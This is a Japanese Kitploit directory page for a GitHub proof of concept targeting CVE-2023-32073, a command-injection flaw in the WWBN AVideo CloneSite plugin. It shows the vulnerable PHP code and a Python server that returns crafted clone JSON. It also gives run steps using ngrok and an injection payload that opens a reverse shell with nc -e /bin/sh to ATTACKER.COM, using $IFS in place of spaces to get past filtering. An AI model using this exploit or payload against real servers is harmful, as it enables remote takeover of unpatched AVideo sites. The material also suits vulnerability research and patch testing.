Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-32073 — WWBN AVideo 認証済みRCE | Kitploit
ツール/GitHubGitHub/jmrcsnchz/cve-2023-32073
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールペイロード開発
GitHubjmrcsnchz/cve-2023-32073

CVE-2023-32073

WWBN AVideo 認証済みRCE

リポジトリを見る
123年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

WWBN AVideo {currentVersion} 認証済みRCE

plugin/CloneSite/cloneClient.json.php にコマンドインジェクションの脆弱性が存在し、CloneSite プラグインを使用している場合にリモートコード実行が可能です。これは CVE-2023-30854 の修正を回避するもので、WWBN Avideo バージョン 12.3 までに影響します。

脆弱なコード

/plugin/CloneSite/cloneClient.json.php

root@kitploit:~
$json->sqlFile = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->sqlFile));
$json->videoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->videoFiles));
$json->photoFiles = escapeshellarg(preg_replace('/[^a-z0-9_.-]/i', '', $json->photoFiles));

// get dump file
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);

$objClone->cloneSiteURL は適切にサニタイズされていません。

エクスプロイトの Proof-of-Concept

avidexploit.py

root@kitploit:~
from http.server import BaseHTTPRequestHandler, HTTPServer
import time

hostName = "localhost"
serverPort = 8080

class MyServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-type", "application/json")
        self.end_headers()
        self.wfile.write(bytes("{\"error\":false,\"msg\":\"\",\"url\":\"https:\/\/attacker.com/\/\",\"key\":\"2d6db3c09e41a9c27dbc72aecc4a6fc0\",\"useRsync\":1,\"videosDir\":\"\/var\/www\/html\/demo.avideo.com\/videos\/\",\"sqlFile\":\"Clone_mysqlDump_644ab263e62d6.sql\",\"videoFiles\":[],\"photoFiles\":[]}", "utf-8"))

if __name__ == "__main__":        
    webServer = HTTPServer((hostName, serverPort), MyServer)
    print("Server started http://%s:%s" % (hostName, serverPort))

    try:
        webServer.serve_forever()
    except KeyboardInterrupt:
        pass

    webServer.server_close()
    print("Server stopped.")

コマンドラインで実行します

root@kitploit:~
$ python3 avidexploit.py &
$ ngrok tcp 8080 # VPS で実行しない場合は任意
  • 次に、パブリックに公開されている IP とポートを取得します。以下のような cloneSiteURL を入力して clone を実行すると、コマンドインジェクションが達成されます。
root@kitploit:~
http://2.tcp.ngrok.io:14599/;nc$IFS'ATTACKER.COM'$IFS'5555'$IFS-e$IFS/bin/sh;#

エクスプロイトを機能させるにはスペースを使用しないことが重要です。RCE に引数を追加するときは、空白を $IFS に置き換えてください。

poc

クレジット

  • JM Sanchez
  • https://www.linkedin.com/in/juanmarcosanchez/
ツールをダウンロード